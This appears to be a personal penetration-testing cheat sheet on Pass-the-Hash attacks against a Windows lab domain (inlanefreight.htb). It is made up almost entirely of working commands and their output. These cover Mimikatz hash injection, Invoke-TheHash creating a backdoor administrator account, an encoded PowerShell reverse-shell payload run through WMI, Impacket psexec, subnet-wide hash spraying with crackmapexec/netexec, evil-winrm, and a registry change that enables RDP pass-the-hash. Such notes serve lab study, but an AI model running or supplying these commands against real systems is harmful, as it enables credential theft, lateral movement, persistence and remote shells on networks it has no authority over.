Pass the Hash (PtH)

Mimikatz

Mimikatz

c:\tools> mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe" exit
user    : julio
domain  : inlanefreight.htb
program : cmd.exe
impers. : no
NTLM    : 64F12CDDAA88057E06A81B54E73B949B
  |  PID  8404
  |  TID  4268
  |  LSA Process was already R/W
  |  LUID 0 ; 5218172 (00000000:004f9f7c)
  \_ msv1_0   - data copy @ 0000028FC91AB510 : OK !
  \_ kerberos - data copy @ 0000028FC964F288
   \_ des_cbc_md4       -> null
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ *Password replace @ 0000028FC9673AE8 (32) -> null

PowerShell Invoke-TheHash

GitHub - Kevin-Robertson/Invoke-TheHash: PowerShell Pass The Hash UtilsGitHub

PS c:\htb> cd C:\tools\Invoke-TheHash\
PS c:\tools\Invoke-TheHash> Import-Module .\Invoke-TheHash.psd1
PS c:\tools\Invoke-TheHash> Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose

VERBOSE: [+] inlanefreight.htb\julio successfully authenticated on 172.16.1.10
VERBOSE: inlanefreight.htb\julio has Service Control Manager write privilege on 172.16.1.10
VERBOSE: Service EGDKNNLQVOLFHRQTQMAU created on 172.16.1.10
VERBOSE: [*] Trying to execute command on 172.16.1.10
[+] Command executed with service EGDKNNLQVOLFHRQTQMAU on 172.16.1.10
VERBOSE: Service EGDKNNLQVOLFHRQTQMAU deleted on 172.16.1.10

Online - Reverse Shell Generator

PS c:\tools\Invoke-TheHash> Import-Module .\Invoke-TheHash.psd1
PS c:\tools\Invoke-TheHash> Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIAB<SNIP>wAbwBzAGUAKAApAA=="

[+] Command executed with process id 520 on DC01

Impacket PsExec

$ impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 10.129.201.126.....
[*] Found writable share ADMIN$
[*] Uploading file SLUBMRXK.exe
[*] Opening SVCManager on 10.129.201.126.....
[*] Creating service AdzX on 10.129.201.126.....
[*] Starting service AdzX.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19044.1415]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

psexec.py -hashes :"649f6**********84a" "xxxxadmin"@"172.16.1.X"

There are several other tools in the Impacket toolkit we can use for command execution using Pass the Hash attacks, such as:

• impacket-wmiexec

• impacket-atexec

• impacket-smbexec

Netexec - CME

NetExec - CME

# crackmapexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453

SMB         172.16.1.10   445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:.) (signing:True) (SMBv1:False)
SMB         172.16.1.10   445    DC01             [-] .\Administrator:30B3783CE2ABF1AF70F77D0660CF3453 STATUS_LOGON_FAILURE 
SMB         172.16.1.5    445    MS01             [*] Windows 10.0 Build 19041 x64 (name:MS01) (domain:.) (signing:False) (SMBv1:False)
SMB         172.16.1.5    445    MS01             [+] .\Administrator 30B3783CE2ABF1AF70F77D0660CF3453 (Pwn3d!)

Evil-WinRM

Evil-WinRM

$ evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents>

RDP (Linux)

1. Enable Restricted Admin Mode to Allow PtH

c:\tools> reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

With CME: (dont' work with nxc, don'know why....)

• Enable RDP

 cme smb 10.129.204.23 -u Administrator -H :30B3783CE2ABF1AF70F77D0660CF3453 --local-auth -M rdp -o ACTION=enable
SMB         10.129.204.23   445    MS01             [*] Windows 10.0 Build 17763 x64 (name:MS01) (domain:MS01) (signing:False) (SMBv1:False)
SMB         10.129.204.23   445    MS01             [+] MS01\Administrator:30B3783CE2ABF1AF70F77D0660CF3453 (admin)
RDP         10.129.204.23   445    MS01             [+] Enable RDP via WMI(ncacn_ip_tcp) successfully
RDP         10.129.204.23   445    MS01             [+] RDP Port: 3389

• Allow PtH

nxc smb 10.129.204.23 -u Administrator -H :30B3783CE2ABF1AF70F77D0660CF3453 --local-auth -X 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
SMB         10.129.204.23   445    MS01             [*] Windows 10.0 Build 17763 x64 (name:MS01) (domain:MS01) (signing:False) (SMBv1:False)
SMB         10.129.204.23   445    MS01             [+] MS01\Administrator:30B3783CE2ABF1AF70F77D0660CF3453 (admin)
SMB         10.129.204.23   445    MS01             [+] Executed command via wmiexec
SMB         10.129.204.23   445    MS01             The operation completed successfully.

1. Pass the Hash Using RDP

$ xfreerdp  /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B

[15:38:26:999] [94965:94966] [INFO][com.freerdp.core] - freerdp_connect:freerdp_set_last_error_ex resetting error state
[15:38:26:999] [94965:94966] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpdr
...snip...
[15:38:26:352] [94965:94966] [ERROR][com.freerdp.crypto] - @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
[15:38:26:352] [94965:94966] [ERROR][com.freerdp.crypto] - @           WARNING: CERTIFICATE NAME MISMATCH!           @
[15:38:26:352] [94965:94966] [ERROR][com.freerdp.crypto] - @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
...SNIP...

Resources

Pass the HashPixis

Pass the hashThe Hacker Recipes